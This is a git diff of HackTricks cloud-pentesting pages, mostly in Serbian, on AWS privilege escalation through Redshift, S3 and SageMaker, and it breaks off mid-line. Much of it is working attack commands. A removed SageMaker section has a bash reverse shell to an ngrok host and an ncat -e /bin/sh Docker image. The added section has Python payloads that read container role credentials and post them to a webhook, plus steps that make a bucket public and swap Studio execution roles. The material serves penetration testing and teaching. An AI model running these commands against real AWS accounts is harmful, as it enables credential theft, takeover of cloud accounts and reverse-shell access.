podataka. - -### `redshift:DescribeClusters`, `redshift:ModifyCluster?` - -Moguće je **modifikovati glavnu lozinku** internog postgres (redshit) korisnika putem aws cli (mislim da su to dozvole koje su vam potrebne, ali ih još nisam testirao): -``` -aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; -``` -**Potencijalni Uticaj:** Pronađite osetljive informacije unutar baza podataka. - -## Pristup Eksternim Uslugama - -> [!WARNING] -> Da biste pristupili svim sledećim resursima, potrebno je da **navedete ulogu koju ćete koristiti**. Redshift klaster **može imati dodeljenu listu AWS uloga** koje možete koristiti **ako znate ARN** ili možete jednostavno postaviti "**default**" da biste koristili podrazumevanu. - -> Pored toga, kao što je [**objašnjeno ovde**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava kombinovanje uloga (pod uslovom da prva može da preuzme drugu) za dalji pristup, ali samo **razdvajanjem** njih sa **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` - -### Lambdas - -Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), moguće je **pozvati lambda funkciju iz redshifta** sa nečim poput: -```sql -CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) -RETURNS INT -STABLE -LAMBDA 'lambda_function' -IAM_ROLE default; -``` -### S3 - -Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), moguće je **čitati i pisati u S3 kante**: -```sql -# Read -copy table from 's3:///load/key_prefix' -credentials 'aws_iam_role=arn:aws:iam:::role/' -region '' -options; - -# Write -unload ('select * from venue') -to 's3://mybucket/tickit/unload/venue_' -iam_role default; -``` -### Dynamo - -Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), moguće je **dobiti podatke iz dynamodb**: -```sql -copy favoritemovies -from 'dynamodb://ProductCatalog' -iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; -``` -> [!WARNING] -> Amazon DynamoDB tabela koja pruža podatke mora biti kreirana u istoj AWS Region kao vaš klaster osim ako ne koristite opciju [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) da odredite AWS Region u kojem se nalazi Amazon DynamoDB tabela. - -### EMR - -Proverite [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) - -## References - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md new file mode 100644 index 000000000..a1da77215 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Redshift Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Redshift + +Za više informacija o RDS pogledajte: + +{{#ref}} +../../aws-services/aws-redshift-enum.md +{{#endref}} + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` + +Sa ovim permisijama možete dobiti **informacije o svim klasterima** (uključujući ime i korisničko ime klastera) i **dobiti kredencijale** za pristup: +```bash +# Get creds +aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 +``` +**Potencijalni uticaj:** Pronaći osetljive informacije u bazama podataka. + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` + +Sa ovim dozvolama možete dobiti **informacije o svim klasterima** i **pristupne podatke** za pristup.\ +Imajte na umu da će postgres korisnik imati **dozvole koje poseduje IAM identity** koja je korišćena za dobijanje pristupnih podataka. +```bash +# Get creds +aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 +``` +**Mogući uticaj:** Pronaći osetljive informacije u bazama podataka. + +### `redshift:DescribeClusters`, `redshift:ModifyCluster?` + +Moguće je **izmeniti master lozinku** internog postgres (redshit) korisnika preko aws cli (mislim da su to dozvole koje su potrebne, ali ih još nisam testirao): +``` +aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; +``` +**Potential Impact:** Pronaći osetljive informacije u bazama podataka. + +## Pristupanje eksternim servisima + +> [!WARNING] +> Da biste pristupili svim sledećim resursima, biće potrebno da **navedete rolu koju ćete koristiti**. A Redshift cluster **može imati dodeljen spisak AWS rola** koje možete koristiti **ako znate ARN**, ili jednostavno možete postaviti "**default**" da biste koristili podrazumevanu dodeljenu. + +> Štaviše, kao što je [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift takođe omogućava spajanje rola (pod uslovom da prva može da preuzme drugu) da biste dobili dodatni pristup, samo ih **odvojite** **zarezom**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` + +### Lambdas + +As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: +```sql +CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) +RETURNS INT +STABLE +LAMBDA 'lambda_function' +IAM_ROLE default; +``` +### S3 + +Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), moguće je **čitati i pisati u S3 buckets**: +```sql +# Read +copy table from 's3:///load/key_prefix' +credentials 'aws_iam_role=arn:aws:iam:::role/' +region '' +options; + +# Write +unload ('select * from venue') +to 's3://mybucket/tickit/unload/venue_' +iam_role default; +``` +### Dynamo + +Kao što je objašnjeno u [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), moguće je **dobiti podatke iz dynamodb**: +```sql +copy favoritemovies +from 'dynamodb://ProductCatalog' +iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; +``` +> [!WARNING] +> Amazon DynamoDB tabela koja obezbeđuje podatke mora biti kreirana u istoj AWS Region kao i vaš klaster osim ako ne koristite opciju [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) da biste specificirali AWS Region u kojoj se Amazon DynamoDB tabela nalazi. + +### EMR + +Pogledajte [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) + +## Reference + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 282057907..270b8a775 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -1,14 +1,14 @@ # AWS - S3 Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## S3 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Napadač sa tim dozvolama nad zanimljivim kanticama može biti u mogućnosti da preuzme resurse i eskalira privilegije. +Napadač sa tim dozvolama nad relevantnim bucket-ima može da hijack resources and escalate privileges. -Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" će moći da preuzme implementaciju. Pristup se može dati sledećom politikom: +Na primer, napadač sa tim **dozvolama nad cloudformation bucket-om** pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" moći će da hijack the deployment. Pristup se može dodeliti sledećom politikom: ```json { "Version": "2012-10-17", @@ -34,37 +34,38 @@ Na primer, napadač sa tim **dozvolama nad cloudformation kanticom** pod nazivom ] } ``` -I otmica je moguća jer postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon implementiran**. Napadač može jednostavno kreirati **lambda funkciju** u svom nalogu koja će **pokrenuti kada se pošalje obaveštenje iz bucketa**, i **oteti** **sadržaj** tog **bucketa**. +I otmica je moguća zato što postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon deploy-ovan**. Napadač može jednostavno da kreira **lambda function** na svom nalogu koja će **trigger-ovati kada se pošalje bucket notification**, i **hijacks** **sadržaj** tog **bucket-a**. ![](<../../../images/image (174).png>) Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\ -Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Ovo su dozvole za **preuzimanje i otpremanje objekata na S3**. Nekoliko usluga unutar AWS-a (i van njega) koristi S3 skladište za čuvanje **konfiguracionih fajlova**.\ -Napadač sa **pristupom za čitanje** može pronaći **osetljive informacije** u njima.\ -Napadač sa **pristupom za pisanje** mogao bi **modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije**.\ +Ove dozvole služe za **preuzimanje i otpremanje objekata u S3**. Nekoliko servisa unutar AWS (i izvan njega) koristi S3 storage za čuvanje **config files**.\ +Napadač sa **pristupom za čitanje** do njih može pronaći **osetljive informacije**.\ +Napadač sa **pristupom za pisanje** može **izmeniti podatke kako bi zloupotrebio neki servis i pokušao da eskalira privilegije**.\ Evo nekoliko primera: -- Ako EC2 instanca čuva **korisničke podatke u S3 bucket-u**, napadač bi mogao da ih modifikuje da **izvrši proizvoljan kod unutar EC2 instance**. +- Ako EC2 instance čuva **user data u S3 bucket-u**, napadač bi mogao da ga izmeni kako bi **izvršio proizvoljni kod unutar EC2 instance**. -### `s3:PutObject`, `s3:GetObject` (opciono) preko terraform state fajla +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Veoma je uobičajeno da se [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state fajlovi čuvaju u blob skladištu provajdera u oblaku, npr. AWS S3. Sufiks fajla za state fajl je `.tfstate`, a imena bucketa često takođe otkrivaju da sadrže terraform state fajlove. Obično, svaki AWS nalog ima jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga. Takođe obično, u stvarnim nalozima gotovo uvek svi programeri imaju `s3:*`, a ponekad čak i poslovni korisnici imaju `s3:Put*`. +Veoma je često da se terraform state fajlovi čuvaju u blob storage-u cloud provajdera, npr. AWS S3. Ekstenzija fajla za state fajl je `.tfstate`, a nazivi bucket-a često otkrivaju da sadrže terraform state fajlove. Obično svaki AWS account ima bar jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga. +Takođe, u realnim nalozima gotovo uvek svi developeri imaju `s3:*`, a ponekad i poslovni korisnici imaju `s3:Put*`. -Dakle, ako imate dozvole navedene za ove fajlove, postoji vektorski napad koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` - većinom `AdministratorAccess`, čineći vas administratorom cloud naloga. Takođe, možete koristiti taj vektor za izvršenje napada uskraćivanja usluge tako što ćete naterati `terraform` da obriše legitimne resurse. +Dakle, ako imate navedene dozvole nad ovim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` — najčešće `AdministratorAccess`, čime postajete administrator cloud naloga. Takođe, možete koristiti taj vektor za DoS (denial of service) napad tako što ćete naterati `terraform` da obriše legitimne resurse. -Pratite opis u sekciji *Zloupotreba Terraform State Fajlova* na stranici *Terraform Security* za direktno upotrebljiv kod za eksploataciju: +Pratite opis u sekciji *Abusing Terraform State Files* na stranici *Terraform Security* za direktno upotrebljiv exploit kod: {{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files {{#endref}} ### `s3:PutBucketPolicy` -Napadač, koji mora biti **iz istog naloga**, inače će se aktivirati greška `The specified method is not allowed`, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima, omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete. +Napadač, koji mora biti **iz istog naloga** (u suprotnom će se pojaviti greška `The specified method is not allowed`), sa ovom dozvolom će moći da sebi dodeli više permisija nad bucket-om/bucket-ima, što mu omogućava da čita, piše, menja, briše i eksponira bucket-e. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli veći pristup određenim objektima unutar kanti. +Napadač može zloupotrebiti ove dozvole da sebi dodeli veći pristup specifičnim objektima unutar buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,9 +178,9 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Napadač sa ovim privilegijama se očekuje da može da postavi Acl za određenu verziju objekta. +Napadač sa ovim privilegijama može da postavi Acl za određenu verziju objekta ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index 234fe4361..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Počnite sa kreiranjem beležnice sa IAM rolom koja je povezana sa njom: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -Odgovor bi trebao sadržati polje `NotebookInstanceArn`, koje će sadržati ARN novokreiranog notebook instance. Zatim možemo koristiti `create-presigned-notebook-instance-url` API da generišemo URL koji možemo koristiti za pristup notebook instance kada bude spreman: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Navigirajte do URL-a u pretraživaču i kliknite na \`Open JupyterLab\` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”. - -Sada je moguće pristupiti metapodacima kredencijala IAM Role. - -**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je povezana. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale IAM uloge koja je povezana**. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge. - -> [!WARNING] -> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će direktno slati rev shell ili kredencijale napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla). -> -> ```bash -> # Kreirajte docker sliku -> mkdir /tmp/rev -> ## Imajte na umu da će trening posao pozvati izvršnu datoteku pod nazivom "train" -> ## Zato stavljam rev shell u /bin/train -> ## Postavite vrednosti i -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # Učitajte ga u ECR -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -Napadač sa tim dozvolama će (potencijalno) moći da kreira **hyperparameter training job**, **pokreće proizvoljan kontejner** na njemu sa **priključenom ulogom**.\ -_Nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._ - -## Reference - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..734a1e336 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,259 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Počni kreiranje notebook-a sa priloženom IAM Role koja ima pristup: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +Odgovor bi trebalo da sadrži polje `NotebookInstanceArn`, koje će sadržati ARN novo kreirane notebook instance. Zatim možemo da koristimo `create-presigned-notebook-instance-url` API да генеришемо URL који можемо да искористимо за приступ тој notebook инстанци када буде спремна: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Otvorite URL u pregledaču i kliknite na `Open JupyterLab` u gornjem desnom uglu, zatim skrolujte do kartice “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”. + +Sada je moguće pristupiti metapodacima kredencijala IAM Role. + +**Potencijalni uticaj:** Privesc na navedeni sagemaker service role. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +Ako na njemu već rade Jupyter notebooks i možete ih navesti pomoću `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im, i ukrasti kredencijale kako je navedeno u prethodnoj tehnici**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Potencijalni uticaj:** Privesc na priloženu sagemaker service role. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +Napadač sa tim dozvolama može naterati **SageMaker da izvrši processing job** sa SageMaker rolom pridruženom tom jobu. Ponovnim korišćenjem jednog od AWS Deep Learning Containers koji već uključuje Python (i izvršavajući job u istoj regiji kao i URI), možeš pokrenuti kod inline bez izgradnje sopstvenih slika: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Potencijalni uticaj:** Privesc na specificiranu sagemaker service role. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +Napadač sa tim dozvolama može pokrenuti training job koji izvršava proizvoljan kod sa navedenim rolom. Koristeći zvanični SageMaker container i prepisivanjem entrypoint-a sa inline payload-om, ne moraš graditi sopstvene image-e: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Potencijalni uticaj:** Privesc to the SageMaker service role specified. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +Napadač sa tim dozvolama može pokrenuti HyperParameter Tuning Job koji izvršava kod pod kontrolom napadača pod navedenom ulogom. Script mode zahteva hostovanje payload-a u S3, ali svi koraci mogu se automatizovati iz CLI: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Mogući uticaj**: Eskalacija privilegija na dozvole navedene SageMaker execution role za interaktivne Studio sesije. + + +## Reference + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md index 1a941a030..389f771e1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -1,11 +1,13 @@ -{{#include ../../../banners/hacktricks-training.md}} +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} ## Secrets Manager -Za više informacija o Secrets Manager pogledajte: +Za više 